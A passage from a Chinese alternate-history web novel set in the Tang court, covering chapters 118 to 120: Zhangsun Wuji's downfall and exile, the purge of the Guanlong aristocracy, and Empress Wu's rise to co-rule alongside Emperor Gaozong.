就在这时,珠帘之后,一直沉默的武媚娘,终于再次开口。她的声音,不再有之前的激烈与凌厉,反而带着一种奇异的平静,但这平静之下,却蕴含着比惊涛骇浪更可怕的力量:
“长孙太尉之功,陛下与朝廷,从未或忘。太宗皇帝在时,常赞太尉‘果断’,陛下登基以来,亦尊太尉为元舅,倚为肱骨。 然 而, 功 是 功, 过 是 过。 功 不 掩 过, 法 不 阿 贵, 此 乃 太 宗 皇 帝 立 下 的 规 矩, 也 是 我 大 唐 立 国 之 本!” 她先肯定了长孙无忌的功劳(表面文章),随即话锋一转,抬出了太宗皇帝和“法不阿贵”的原则,堵住了“念及旧功”的求情之路。
“今日李瑾所奏,人证、物证、账册,一应俱全, 铁 证 如 山! 非是空口构陷!” 她的声音陡然转厉,“走私盐铁茶马铜,私铸恶钱,侵吞国帑百万之巨,勾结地方,操纵讼狱,贿赂朝臣,甚至刺探朝政! 此 等 行 径, 哪 一 件 不 是 祸 国 殃 民、 动 摇 国 本 的 死 罪? 哪 一 件, 是 ‘ 小 人 构 陷’ 四 个 字 可 以 轻 描 淡 写 带 过 的? 长孙太尉, 您 口 口 声 声 说 不 知、 不 解, 那 么 请 问, 您 的 私 人 印 信, 为 何 会 出 现 在 与 走 私 巨 寇 的 密 信 之 上? 裴 氏 账 册 中 那 流 向 长 安、 指 向 您 的 巨 额 钱 款, 又 作 何 解 释? 莫 非, 这 满 朝 文 武, 这 天 下 人, 都 是 瞎 子、 傻 子 不 成?” 一连串的质问,如同冰锥,刺向长孙无忌,也刺向所有还心存侥幸的人。
“皇后殿下!” 长孙无忌猛地抬头,目光第一次变得锐利,直刺珠帘,“老臣对天发誓,绝未参与此等祸·国之事!印信之事,老臣确不知情!至于钱财流向,更是欲加之罪,何患无辞! 老 臣 一 生 清 白, 可 昭 日 月! 今日之局,分明是有人欲借河东之事, 行 铲 除 异 己、 独 揽 朝 纲 之 实! 陛下!老臣恳请陛下, 莫 要 被 奸 佞 小 人 蒙 蔽, 寒 了 功 臣 之 心, 乱 了 朝 廷 法 度 根 基 啊!**” 他不再称呼“皇后殿下”,而是直接呼唤“陛下”,将最后的希望,寄托在李治身上,做最后的、悲情式的抗争。他咬定是“构陷”,是“政治清洗”,试图激起李治对“鸟尽弓藏”骂名的恐惧,以及对朝局可能失控的担忧。
“够了!” 一直沉默的李治,忽然发出一声嘶哑的低吼。他脸色涨红,胸口剧烈起伏,仿佛用尽了全身力气。他终于无法再忍受这种逼到极致的煎熬。一边是如山铁证,是皇后和李瑾那不容置疑的、要彻底清算的决心;另一边是元舅悲怆的呼喊,是“寒了功臣之心、乱了朝廷根基”的警告,是数十年的养育扶持之恩,是内心深处对这位强势舅父根深蒂固的、混合着敬畏与怨怼的复杂情感。
他剧烈地咳嗽起来,身旁的宦官连忙上前,被他一把推开。他喘着粗气,目光在李瑾高举的证据、珠帘后模糊却坚定的身影、以及下方那个虽已苍老却依旧如山岳般挺立、目光灼灼望着自己的元舅之间来回逡巡。
时间仿佛凝固了。每一息都变得无比漫长。
终于,李治闭上了眼睛,仿佛瞬间苍老了十岁。当他再次睁开时,眼中的痛苦、挣扎、软弱……渐渐被一种混合着狠绝、无奈与最终决断的复杂情绪所取代。他知道,自己必须做出选择。而这一次,他无法,也不能再退缩了。
他缓缓抬起手,指向殿中那卷被李瑾掷于地上的厚厚账册汇总,以及那些印信拓片,声音干涩,却带着一种不容置疑的决断:
“将……将李瑾所呈证物,取来朕看。”
一名宦官连忙小跑下去,小心翼翼地将账册和拓片拾起,双手捧到御前。
李治没有立刻去翻看,他只是盯着那些东西,看了许久,仿佛在看什么极其厌恶、却又不得不面对的东西。然后,他猛地一挥手,将那些账册扫落在地!
“啪嗒!” 账册散开,纸张纷飞。
这个动作,让所有人都是一惊。
但李治接下来的话,却让长孙无忌一党,如坠冰窟。
“证据确凿, 触 目 惊 心!” 李治的声音陡然拔高,带着皇帝应有的、却因虚弱而显得有些尖锐的威严,“长孙无忌! 你 还 有 何 话 说?”
“陛下!” 长孙无忌浑身一震,不敢置信地看着御座上的外甥。他没想到,李治最终,竟真的选择了站在他的对立面!那扫落账册的动作,与其说是愤怒,不如说是一种痛苦的、与过去割裂的决绝宣告。
“陛下!不可听信谗言啊!” 韩瑗、来济等人再次哭喊。
“都给朕闭嘴!” 李治猛地一拍龙椅扶手,虽然力道不大,却让所有人都噤了声。他喘着气,目光扫过下方,最后落在长孙无忌脸上,那目光中有痛苦,有决绝,也有终于摆脱桎梏的疯狂。
“传朕旨意。” 李治的声音,一字一顿,清晰地在死寂的大殿中回荡:
“ 太 尉、 同 中 书 门 下 三 品、 赵 国 公 长 孙 无 忌, 身 为 元 舅, 位 极 人 臣, 不 思 报 效 国 恩, 反 而 结 党 营 私, 贪 赃 枉 法, 纵 容 亲 族, 交 结 巨 寇, 走 私 国 之 重 器, 侵 吞 国 家 帑 银, 罪 证 确 凿, 辜 负 圣 恩, 深 失 朕 望。 着 即 革 去 一 切 职 衔、 爵 位, 剥 夺 丹 书 铁 券, 收 回 赏 赐 田 宅, 贬 为 庶 人!**”
“陛下——!” 韩瑗发出一声凄厉的惨叫,几乎昏厥过去。来济等人也瘫软在地,面无人色。完了,全完了!皇帝竟然真的下旨了!而且是如此严厉的惩处!革职、夺爵、贬为庶人!
然而,这还没完。
李治看了一眼珠帘,珠帘后的武媚娘,几不可察地微微颔首。
李治深吸一口气,仿佛用尽了最后的力气,说出了那句决定长孙无忌最终命运的话:
“ 念 其 曾 有 辅 弼 之 功, 免 其 死 罪。 但 国 法 无 情, 不 可 轻 纵。 即 日 起, 将 罪 臣 长 孙 无 忌, 流 放 黔 州( 今 贵 州 一 带) 安 置, 不 得 诏, 永 不 得 返 回 京 师! 其 家 眷 子 女, 一 体 流 放。 钦 此!”
流放黔州!那个在唐人眼中,蛮荒瘴疠、鸟兽绝迹的化外之地!对于年事已高、养尊处优数十年的长孙无忌而言,这几乎与死刑无异!而且是“永不返京”,意味着政治生命的彻底终结,甚至可能老死蛮荒!
圣旨一下,满殿死寂,随即,响起压抑的抽气声和极低的、难以置信的私语。虽然早有预感,但当这最终的判决真的从皇帝口中说出时,那种震撼,依旧无与伦比。权倾朝野数十载,历经两朝,一手将外甥扶上皇位,把持朝政十余年的 太 尉 长 孙 无 忌, 就 这 样, 倒 了!**
长孙无忌身体晃了晃,脸上最后一丝血色也褪尽了。他看着御座上那个脸色苍白、却目光决绝的外甥,又看了看珠帘后那个模糊却无比清晰、带着冰冷胜利意味的身影,最后,目光落在殿中傲然挺立的李瑾身上。
他没有哭喊,没有辩解,没有求饶。他只是缓缓地、缓缓地,跪了下去,以头触地,声音嘶哑,却异常清晰:
“ 罪 臣…… 长 孙 无 忌, 领 旨…… 谢 恩。 吾 皇…… 万 岁, 万 岁, 万 万 岁。”
三个头,磕在金砖之上,发出沉闷的响声。当他再次抬起头时,脸上竟奇异地浮现出一丝解脱般的平静,只是那眼底深处,最后掠过一丝极深、极冷的、针对珠帘之后的光芒。
“带下去。” 李治仿佛耗尽了所有力气,颓然靠在龙椅上,闭上了眼睛,不愿再看。
殿外,早已等候多时的金吾卫武士肃然而入,来到长孙无忌身边。没有捆绑,没有呵斥,只是沉默地分立两侧。长孙无忌自己缓缓站起身,掸了掸并无线头的紫袍(虽然已被革职,但官服未除),挺直了腰背,最后看了一眼这他站立了数十年的紫宸殿,看了一眼那些或惊恐、或悲戚、或冷漠的同僚,然后,转过身,一步一步,向着殿外那刺目的天光走去。背影在空旷的大殿中,竟显得有些孤直,有些苍凉,但更多的,是一种属于失败者的、最后的尊严。
随着他的身影消失在殿门外,一个时代,似乎也落下了帷幕。
珠帘之后,武媚娘轻轻吐出了一口绵长而压抑的气息,紧握的拳头,终于缓缓松开,掌心已被指甲掐出了深深的血痕。赢了,这一局,她终于赢了。
殿中,李瑾躬身行礼:“陛下圣明!皇后殿下圣明!”
“陛下圣明!皇后殿下圣明!” 许敬宗、程务挺等支持者高声附和,声震殿宇。
而那些关陇集团的官员们,则如丧考妣,瘫倒在地,仿佛被抽去了脊梁骨。
李治依旧闭着眼,无力地挥了挥手。
宦官会意,尖声唱道:“退——朝——!”
百官在复杂难言的心情中,依次退出紫宸殿。阳光依旧炽烈,照耀着巍峨的宫阙,但所有人都知道,从今天起,大唐的天,变了。
第119章 关陇门阀衰
长孙无忌倒台的消息,如同插上了翅膀,在极短的时间内传遍了长安城,又以更快的速度向着帝国的四面八方扩散。这座千年古都,在短暂的死寂之后,骤然沸腾,旋即又被一种更深的、无声的震颤所笼罩。街市之上,百姓们交头接耳,言语间充满了难以置信的惊骇与对未知的茫然。茶楼酒肆,往日高谈阔论的士子文人,此刻也多是噤若寒蝉,眼神闪烁。达官贵人的府邸,更是门户紧闭,气氛压抑,只有心腹家仆脚步匆匆,传递着最新的消息和主人的密令。
权倾朝野数十载,屹立三朝而不倒的“元舅”长孙无忌,竟然在一日之间,被革职、夺爵、流放蛮荒!这不仅仅是一个人的倒台,更是一个时代终结的号角,一个庞大利益集团崩塌的序幕。
紫宸殿那场惊心动魄的朝争细节,被严密封锁,但长孙无忌因勾结河东巨寇、走私国器、贪赃巨万而被问罪流放的核心信息,却如同投入滚油的火星,瞬间点燃了所有相关者的恐惧。依附于长孙无忌的关陇门阀、姻亲故旧、门生故吏,无不人人自危,仿佛头顶悬着的利剑,随时可能落下。
果然,清洗的序幕,在长孙无忌被金吾卫“护送”出京,踏上漫漫流放路的第二天,便以雷霆万钧之势拉开了。
甘露殿,夜,烛火通明。
这里的气氛,与朝堂上的公开激烈截然不同,却更加压抑和肃杀。只有寥寥数人:斜靠在御榻上、脸色依旧苍白但眼神锐利了许多的皇帝李治;端坐于侧、神色沉静却透着不容置疑威严的皇后武媚娘;以及风尘仆仆、目光湛然的李瑾。许敬宗、程务挺等核心支持者侍立一旁,屏息凝神。
“河东一案,牵连甚广。” 武媚娘的声音不高,却字字清晰,在空旷的大殿中回响,“裴氏、崔琰,不过是冰山一角。长孙无忌倒台,但其在朝中、在地方的党羽,盘根错节,若不趁此机会, 彻 底 清 理, 必 成 后 患。** 陛下以为如何?”
李治看着案几上堆叠的、来自河东和御史台、刑部的密报,上面罗列着一个个触目惊心的名字和罪行,与裴氏账册、书信中牵出的人脉网络一一对应。他沉默了片刻,手指无意识地敲击着榻沿。对长孙无忌动手,是他最终下定的决心,是摆脱桎梏、真正掌握皇权的必然一步。但接下来的扩大化清洗,却让他本能地感到一丝不安和……疲惫。那毕竟是跟随父皇和他多年的老臣,是支撑朝廷运转的庞大官僚体系的一部分。
“皇后所言甚是。” 李治最终缓缓开口,声音有些沙哑,“只是……牵连过广,恐伤朝廷元气,亦非国家之福。 元 舅 … … 长 孙 无 忌 虽 有 大 罪, 然 其 门 生 故 吏, 未 必 人 人 皆 是 同 党。 当以惩处首恶,警示余者为主。具体……具体如何处置,皇后与李相,斟酌办理吧。” 他将“斟酌办理”的权力,明确交给了武媚娘和李瑾,这既是一种放权,也是一种不愿过多沾染血腥的推脱。
武媚娘微微颔首,眼中掠过一丝了然。她要的,就是这个“斟酌办理”的权力。“陛下放心,臣妾与李相,自有分寸。 首 恶 必 办, 胁 从 可 有 区 分。 然 而, 对 于 那 些 与 长 孙 无 忌 狼 狈 为 奸, 贪 赃 枉 法, 阻 挠 新 政 的 核 心 党 羽, 绝 不 可 姑 息!** 唯有清除这些蠹虫,新政方能畅通无阻,朝廷方能吏治清明。”
她转向李瑾,目光炯炯:“李相,河东一案,证据确凿,牵连朝野。你既为主审,便由你牵头,会同刑部、大理寺、御史台,组成三司会审, 依 据 证 据, 秉 公 办 案, 务 求 水 落 石 出, 不 枉 不 纵。 凡涉案者,无论品阶高低,一查到底! 本 宫 与 陛 下, 为 你 做 主。**”
“臣,遵旨!” 李瑾躬身领命,声音沉稳有力。他知道,这是皇后递给他的一把尚方宝剑,也是一副沉甸甸的担子。接下来的,将是一场席卷朝野的暴风骤雨。
清洗,以惊人的效率和残酷的精准度展开了。
首先,是朝堂中枢的雷霆扫穴。
韩瑗、来济这两个长孙无忌在朝中最坚定的盟友、在紫宸殿上跳得最欢的“急先锋”,首当其冲。御史台、刑部在李瑾的督促下,以“结党营私、依附逆臣、诽谤君上、阻挠新政”等罪名(其中许多罪名证据确凿,有些则是“欲加之罪”),对二人发起弹劾。皇帝朱笔一挥,韩瑗罢相,贬为爱州(今越南清化)刺史,来济罢相,贬为台州(今浙江台州)刺史。这两个曾经位高权重的宰相,在短短数日内,便从云端跌落,踏上了远离权力中枢的贬谪之路。他们的倒台,彻底瓦解了关陇集团在宰相班子中的核心力量。
紧接着,吏部、户部、兵部、工部……凡是与长孙无忌过往密切,或在河东案、新政推行中表现出明显阻挠倾向的官员,纷纷遭到审查、弹劾。或贬谪,或罢官,或流放,或下狱。许敬宗、程务挺等人及其麾下的寒门、庶族官员,迅速填补了这些权力真空。御史台、刑部、大理寺等关键司法、监察部门,更是被彻底清洗,换上了李瑾和武媚娘信得过的人。
一时间,长安官场风声鹤唳,人人自危。每日都有官员被带走查问,每日都有府邸被查抄,往日门庭若市的关陇豪门府前,如今变得门可罗雀,甚至被禁军把守。昔日依附长孙无忌的官员,有的主动上疏请罪,祈求宽恕;有的试图走门路,攀附新贵;更多的,则是战战兢兢,等待着自己未知的命运。
与此同时,对地方关陇门阀势力的打击,也同步展开。
李瑾以河东案为突破口,将查抄裴府、审讯崔琰等人得到的口供、账册、书信作为线索, 呈 报 朝 廷, 请 旨 对 涉 案 的 地 方 豪 强、 官 员 进 行 彻 查 和 清 算。 武媚娘以皇后令旨,命北衙禁军配合刑部、御史台,组成多个办案小组,分赴河东、关中、陇右等地, 对 账 册 中 涉 及 的 家 族 和 官 员 进 行 突 击 缉 拿、 查 抄。 尤其是那些在清丈田亩、推行青苗贷、考成法过程中阳奉阴违、甚至武力对抗的豪强,更是被重点打击。
太原,王氏祖宅。
这个与长孙氏世代联姻、在并州根深蒂固的关陇著姓,此刻正迎来灭顶之灾。大队的北衙禁军和刑部差役,手持盖有皇后印信和刑部大印的公文,蛮横地撞开了朱漆大门。
“奉旨查抄!所有人等,不得妄动!” 为首的将领声音冰冷。
府内瞬间大乱,哭喊声、呵斥声、瓷器破碎声响成一片。王氏族长,那位在地方上说一不二、连刺史都要给几分面子的老者,此刻瘫坐在太师椅上,面如死灰,看着如狼似虎的官兵涌入祠堂,搬走一箱箱账册、地契、金银。他知道,王家完了。长孙无忌一倒,他们这些依附其上的藤蔓,也注定要被连根拔起。那些陈年的罪证,那些与裴氏、与其他豪强的利益勾连,在朝廷的铁拳下,无所遁形。
长安,长孙无忌府邸。
曾经的赵国公府,门庭显赫,车马如龙,如今却是另一番景象。府门紧闭,昔日鲜亮的朱漆在阳光下显得黯淡无光。门口站着面无表情的北衙禁军士兵,森严的铠甲和冷冽的目光,隔绝了内外。
府内,一片愁云惨淡,哭泣声隐隐传来。仆役婢女们惶惶不安,主子们更是如丧考妣。皇帝的旨意已下, 剥 夺 爵 位, 收 回 赏 赐 田 宅, 家 眷 一 体 流 放。 曾经钟鸣鼎食的国公府,转眼就要被查抄、充公。府库被贴上了封条,珍贵的古董字画、金银器皿被一一登记造册,搬上宫中的马车。那些象征着荣耀与权力的丹书铁券、御赐匾额,也被无情地取下。
长孙无忌的儿子、侄子们,被勒令在限定时间内收拾简单的行装,准备随同流放的队伍前往黔州。女眷们哭作一团,她们难以想象,未来的命运将是怎样的凄苦。偌大的府邸,迅速被一种破败和绝望的气息所笼罩。府门外,偶尔有路过的行人投来复杂的一瞥,有好奇,有幸灾乐祸,但更多的,是一种兔死狐悲的寒意。这巍峨的府邸,昨日还是权力的象征,今日却已成为皇权更迭、政治倾轧下最触目惊心的废墟。
清洗并非一味杀戮。武媚娘和李瑾都清楚,关陇集团树大根深,牵涉太广,若一味株连,必会引起剧烈反弹,甚至可能引发地方动荡。因此,他们的策略是“ 打 击 首 恶, 分 化 胁 从, 拉 拢 可 用 之 人”。 对于韩瑗、来济这样的核心死党,以及证据确凿、罪行昭彰的贪腐官员、对抗新政的豪强首领,坚决罢黜、流放、抄没家产。对于那些罪行较轻、或只是迫于形势依附的官员,则多以贬官、调任边远地区作为惩戒,留有余地。甚至,对于一些在关陇集团中并非核心、且有才干的年轻子弟,李瑾还尝试进行拉拢和安抚,给予他们通过新政考核重新获得晋升的机会,试图分化瓦解这个庞大的集团。
然而,这种相对“克制”的清洗,其打击面之广,力度之强,依然是贞观以来所未有。短短数月之间, 数 十 位 三 品 以 上 高 官 被 罢 黜 或 贬 谪, 数 百 名 中 低 级 官 员 受 到 牵 连, 关 中、 河 东、 陇 右 地 区 数 十 家 大 小 门 阀、 豪 强 被 查 抄、 分 拆。 长孙无忌苦心经营数十年的政治网络、姻亲联盟、门生故吏体系,遭到了毁灭性的打击。关陇集团把持朝政、与皇权分庭抗礼的时代, 宣 告 彻 底 结 束。** 朝堂之上,以长孙无忌为核心的关陇旧贵族势力急剧萎缩,声音微弱。取而代之的,是以许敬宗、程务挺等为代表的寒门、庶族官员,以及一部分识时务、转而支持新政的山东、江南士族代表。权力结构,发生了根本性的重塑。
长安城外,灞桥。
深秋的风已带寒意,吹动着枯黄的柳枝。一队长长的、衣衫褴褛的队伍,在官兵的押解下,默默向着南方,向着那未知的蛮荒之地行进。队伍中,有白发苍苍的老者,有神色麻木的妇人,有懵懂无知的孩童。他们,是长孙无忌的家眷,以及部分被流放的、罪行相对较轻的关陇官员及其家属。
没有送行的人群,没有离别的酒宴,只有萧瑟的秋风和漫天飞舞的枯叶。队伍中,偶尔传出低低的啜泣声,但很快就被呵斥和鞭子破空的声音压了下去。
在队伍最前方,一辆简陋的牛车上,坐着被除去冠带、身着粗布衣衫的长孙无忌。他闭着眼睛,仿佛在假寐,对周围的凄风苦雨、亲人的悲泣、押解官兵的呵斥,都置若罔闻。只有那微微颤抖的眼皮,和紧握着粗糙车板、指节发白的手,泄露了他内心绝非平静。
牛车缓缓驶过灞桥,这座见证了多少离别与兴衰的古桥。桥下的渭水,依旧默默东流,不舍昼夜。
长孙无忌忽然睁开眼睛,回过头,望向那越来越远的长安城轮廓。夕阳的余晖,给巍峨的城墙披上了一层血色。他的目光,穿越了空间,仿佛又看到了那辉煌壮丽的大明宫,看到了紫宸殿上那高高在上的御座,看到了珠帘后那双冷静、决绝、甚至带着一丝快意的凤眸。
他知道,自己输了,输得一败涂地。不是输给了李瑾那个黄口小儿,也不是输给了那些所谓的“铁证”,而是输给了时间,输给了那个女人的野心和隐忍,输给了那个他一手扶上皇位、最终却对他亮出獠牙的外甥。
关陇集团,这个从西魏、北周以来,与皇室共治天下数百年,在隋唐鼎革中起到关键作用,甚至能决定皇位归属的庞大贵族军事集团,随着他的离开, 也 将 不 可 避 免 地 走 向 衰 落。** 皇权,将前所未有地集中。而那个站在皇权之侧的女人……他的眼中,最后闪过一丝难以言喻的复杂光芒,是恨?是悔?是叹?或许都有。然后,他转回头,闭上了眼睛,再也不看那片他曾经纵横捭阖、呼风唤雨的土地。
牛车吱呀呀地响着,载着这位曾经的“元舅”、权相,消失在官道的尽头,也消失在大唐帝国权力核心的舞台之外。
长安城中,太极宫,甘露殿。
李治站在窗前,望着远处灞桥的方向,久久不语。他的脸色依旧苍白,但眼神中少了往日的优柔,多了几分深沉的、难以言喻的东西。扳倒长孙无忌,是他一直想做却又不敢做的事情。如今做成了,权力似乎回到了手中,但心中却没有预想中的畅快,反而空落落的,甚至有一丝寒意。他知道,从今以后,他面对的不再是掣肘的舅父,而是一个更加难以捉摸、手段更加强硬、野心也更大的……皇后。
武媚娘悄然走到他身边,将一件披风轻轻披在他肩上,柔声道:“陛下,风大,当心着凉。”
李治没有回头,只是轻轻“嗯”了一声。
“关陇那些蠹虫,清理得差不多了。” 武媚娘的声音平静无波,“朝堂为之一新。新政推行,再无大的阻碍。陛下可以真正舒展抱负了。”
李治沉默片刻,才道:“辛苦皇后了。只是……手段是否过于酷烈了些?朝野之间,恐有非议。”
武媚娘微微一笑,那笑容在暮色中显得有些模糊:“ 陛 下, 非 常 之 时, 当 用 非 常 之 法。 毒疮不剜,何以生肌?陛下仁德,天下皆知。然 对 于 那 些 蛀 空 国 家、 危 害 社 稷 的 蠹 虫, 仁 德, 便 是 对 天 下 百 姓 的 残 忍。 如今,障碍已除,正是陛下大展宏图之时。”
李治终于转过身,看着烛光下武媚娘那张美丽而坚毅的脸,心中五味杂陈。他点了点头,没有再说什么。他知道,从扳倒长孙无忌的那一刻起,有些事情,就已经无法回头了。帝国的权柄,正在以一种他既熟悉又陌生的方式,向着他身边的这个女人手中汇聚。
而此刻,刚刚结束一场廷议、从宫中出来的李瑾,正站在皇城高耸的宫墙上,远眺着万家灯火逐渐亮起的长安城。秋风拂动他的官袍,猎猎作响。他脸上没有太多的喜悦,只有深深的疲惫,以及一种更为深沉的警醒。
扳倒了长孙无忌,重创了关陇集团,为新政扫清了最大的障碍。这无疑是巨大的胜利。但李瑾深知, 政 治 的 斗 争 永 远 不 会 停 歇。** 旧的利益集团被打垮,新的利益格局正在形成。皇权与后权之间,寒门与士族之间,中央与地方之间,甚至他与那位日益显示出超强政治手腕和掌控欲的皇后之间,新的博弈,或许才刚刚开始。
他低下头,看着手中那份刚刚拟定的、关于“盐铁茶专营制度改革”的条陈草案。关陇的迷雾已经散去,但下一场围绕国家经济命脉的、可能更加激烈和复杂的战斗——“盐铁论战”,已经迫在眉睫。
“路漫漫其修远兮……” 李瑾低声自语,将目光投向更深远、更未知的黑暗夜空。长安的灯火在他眼中明明灭灭,如同这个庞大帝国未来莫测的命运。
第120章 皇权终独尊
长孙无忌的倒台与流放,如同一块投入平静湖面的巨石,激起的涟漪迅速扩散,直至席卷整个帝国的权力深潭。表面的波澜或许会随着时间平复,但水下的暗流与结构,却已发生了永久性的改变。长安城的深秋,在肃杀的政治清洗之后,呈现出一种奇特的、紧绷的平静,仿佛暴风雨前夕那令人窒息的宁静,又像是旧秩序崩塌、新秩序尚未完全确立时的混沌与期待。
麟德元年冬,元日大朝会。
这是长孙无忌倒台、关陇集团遭遇重创后的第一个新年大朝会。含元殿内外,旌旗招展,仪仗森严。参与朝会的文武百官,比之往年,面孔已然有了不小的变化。许多熟悉的老臣、重臣不见了踪影,取而代之的是一批相对年轻、或出身寒微、或来自山东江南的新面孔。他们穿着崭新的官服,脸上混杂着激动、紧张与竭力掩饰的志得意满。空气中弥漫着一种新旧交替特有的微妙气息。
皇帝李治端坐于御座之上。经过数月的调养,他的气色似乎好了一些,但眉宇间那抹挥之不去的郁色与疲惫,以及眼眸深处时而闪过的复杂光芒,显示这位天子的内心远非表面看起来那般平静。今日的他,头戴通天冠,身着十二章衮服,在辉煌的灯火和庄重的礼乐映衬下,终于有了几分真正“乾纲独断”的天子威仪。然而,只有他自己知道,这份“独断”背后,付出了怎样的代价,又伴随着怎样的隐忧。
御座之侧,珠帘之后,皇后武媚娘的身影依然端坐。帘幕比以往似乎更轻薄了些,能让朝臣更清晰地看到其轮廓,却又恰到好处地保持着神秘与距离。自长孙无忌倒台后,皇后临朝听政已从“权宜”逐渐变成了某种“惯例”。虽然正式的“二圣临朝”称号尚未提出,但朝野上下都已心照不宣, 重 大 政 事, 皇 后 的 意 见 往 往 具 有 决 定 性 的 作 用。 此刻,她静静地坐在那里,仿佛一尊精心雕琢的玉像,却自有一股无形的压力,笼罩着整个大殿。
朝会的议程,在礼官的唱喏声中,一项项进行。地方贺表,祥瑞进献,外藩朝贡……一切按部就班,却又隐隐透着不同。往年在这些环节中常常跳出来发表意见、甚至对皇帝决策提出异议的某些关陇老臣,如今要么消失,要么沉默。整个朝会的节奏,似乎完全掌握在了御座之上,以及……珠帘之后。
终于,到了最重要的环节—— 封 赏 与 任 命。
宦官展开长长的绢帛诏书,用尖细而洪亮的声音宣读:
“……自去岁河东巨案以来,朝廷整肃吏治,扫除积弊,气象为之一新。有功者赏,有能者擢,此乃朝廷励精图治之本。特擢升如下:
侍 中、 同 中 书 门 下 三 品 许 敬 宗, 加 光 禄 大 夫, 晋 爵 高 阳 郡 公, 仍 领 吏 部 尚 书, 总 掌 铨 选。 (许敬宗成为文官之首,掌握人事大权)
左 骁 卫 大 将 军、 检 校 右 金 吾 卫 大 将 军 程 务 挺, 加 镇 军 大 将 军, 晋 爵 宿 国 公, 总 领 北 衙 禁 军 及 部 分 南 衙 卫 士。 (程务挺掌握京师核心军权)
中 书 侍 郎、 同 中 书 门 下 平 章 事 李 瑾, 晋 为 尚 书 右 仆 射, 仍 兼 吏 部 侍 郎、 知 制 诰, 加 银 青 光 禄 大 夫, 晋 爵 梁 国 公, 总 理 新 政 事 宜, 协 理 朝 政。 (李瑾拜相,成为最年轻的宰相之一,权力达到新的高峰)
御 史 大 夫 崔 义 玄 (支持新政的山东士族代表), 加 金 紫 光 禄 大 夫, 仍 领 御 史 台。** (控制监察机构)
刑 部 尚 书 换 为 刘 祥 道 (寒门出身,以刚直著称), 大 理 寺 卿 换 为 … …**”
一连串的擢升任命,如同重新排列的星辰,勾勒出一幅全新的权力图谱。许敬宗、程务挺、李瑾,这三个在扳倒长孙无忌过程中立下大功、也最得武媚娘信任的臣子,占据了行政、军事、新政推行与协理朝政的核心位置。原本被关陇集团把持的宰相班子、关键部寺、监察司法系统,被彻底洗牌,换上了支持新政、或至少保持中立的力量。一批在河东案、新政推行中有功的寒门、庶族及山东江南士族官员,也得到了不同程度的提拔。
这份任命诏书, 毫 无 疑 问 地 宣 告 了 一 个 新 的 权 力 核 心 的 形 成, 也 标 志 着 皇 权 ( 或 者 说 帝 后 联 合 的 权 力) 对 朝 廷 的 控 制, 达 到 了 前 所 未 有 的 高 度。** 关陇集团作为一股能够与皇权分庭抗礼的政治势力,已基本退出历史舞台的中心。
“臣等,领旨谢恩!陛下万岁!万岁!万万岁!” 许敬宗、李瑾等被擢升的官员出列,跪拜谢恩,声音洪亮,带着难以抑制的激动。他们的崛起,不仅仅是个人仕途的飞跃,更代表着一种新的政治力量的抬头,一种打破门阀垄断、凭才干和“站队”获取晋升通道的可能。
而那些尚未被波及、但明显感受到风向已变的原关陇集团成员或中间派官员,则纷纷低下头,掩饰着脸上的复杂神色。有羡慕,有嫉妒,有恐惧,也有暗自盘算着如何向新贵们靠拢。朝堂之上,再无一人敢公开质疑这些任命,更无人敢为倒台的长孙无忌一党发声。 绝 对 的 权 威, 在 血 与 火 的 清 洗 之 后, 初 步 建 立。 紧接着,皇帝李治,在短暂的停顿后,用他那依旧有些中气不足、但异常清晰的声音,宣布了另一项重要决定:
“ 朕 自 嗣 位 以 来, 夙 夜 忧 勤, 然 国 事 繁 芜, 天 下 至 重。 皇 后 武 氏, 淑 德 彰 闻, 明 敏 多 智, 自 辅 政 以 来, 赞 襄 机 务, 匡 正 得 失, 于 国 于 民, 功 不 可 没。 今 特 旨: 自 即 日 起, 皇 后 可 与 朕 同 御 紫 宸 殿 听 政, 所 有 章 奏, 皆 可 与 闻, 重 大 事 宜, 共 同 裁 决。 百 官 奏 事, 称 ‘ 陛 下、 皇 后 殿 下’ 即 可。**”
虽然早有心理准备,但“同御紫宸殿听政”、“共同裁决”、“称陛下皇后殿下”这些字眼,还是让许多恪守传统礼法的老臣心头剧震。这几乎是以正式诏书的形式,确认并扩大了武媚娘临朝听政的权力,使其从幕后正式走到了台前,与皇帝“共治”天下。 “ 二 圣 临 朝” 的 格 局, 在 扳 倒 最 大 的 内 部 政 治 障 碍 后, 终 于 水 到 渠 成, 得 以 确 立!** 珠帘之后,武媚娘微微欠身,声音平和而清晰:“臣妾,谢陛下信重。必当竭尽心力,辅佐陛下,共理朝政,以安社稷,以福黎民。”
她的姿态依旧恭谨,但谁都听得出那平静语调下蕴含的巨大力量。从感业寺的尼姑,到昭仪,到皇后,再到如今与皇帝同御紫宸殿的“二圣”之一,这条路,她走得艰辛,却也走得无比坚定。扳倒长孙无忌,不仅仅是为旧怨复仇,更是扫清了她通往权力巅峰的最后,也是最强大的一块绊脚石。
李治看着珠帘后的身影,眼神复杂。这诏书,是他的决定,也是大势所趋。他需要她来制衡、来治理、来推行那些他认同却又感到棘手的改革。但同时,一种更深的、难以言喻的失落与警惕,也在心底悄然滋生。他知道,从这一刻起,他再也不是那个可以躲在“元舅”阴影下,也可以依赖“贤后”辅佐而无需过多操心的皇帝了。他必须真正直面这个与他共享权力、甚至在某些方面比他更为强势和果断的伴侣。
朝会在一片微妙而肃穆的气氛中结束。百官行礼退出,许多人心中都明白, 大 唐 的 天, 真 的 变 了。** 一个属于“二圣”的时代,正式拉开了帷幕。
退朝之后,甘露殿。
这里的气氛与外朝的肃穆不同,带着一种亲密却又暗藏机锋的微妙。李治已褪去沉重的朝服,只着一身常服,倚在榻上,显得有些疲惫。武媚娘坐在他身侧,亲手为他斟上一杯参茶。
“陛下今日在朝上,气度威严,群臣慑服。” 武媚娘将茶盏递过去,语气温和。
李治接过,却没有喝,只是看着茶汤中袅袅升起的热气,半晌才道:“威严?只怕在有些人眼中,朕不过是借皇后之力,行鸟尽弓藏、刻薄寡恩之事罢了。” 他的声音带着一丝自嘲。
武媚娘眸光微闪,语气却依旧平静:“陛下何出此言?长孙无忌罪有应得,证据确凿,朝廷依法惩处,何来‘刻薄寡恩’?若非陛下圣心独断,力排众议,此等蠹国巨奸,如何能伏法?陛下这是为社稷除害,为祖宗基业清障,乃明君圣主之举。些许迂腐之言,何足挂齿?”
李治看了她一眼,没有接话。他知道她说得对,至少站在朝廷法度和国家利益的角度是对的。但他心中那份隐隐的不安,并非全然来自外界可能的非议,更来自于……身边之人权力的急速膨胀。他岔开话题:“新政推行,眼下已无大碍。许敬宗、李瑾等人,也委以重任。皇后以为,接下来,朝廷重心当在何处?”
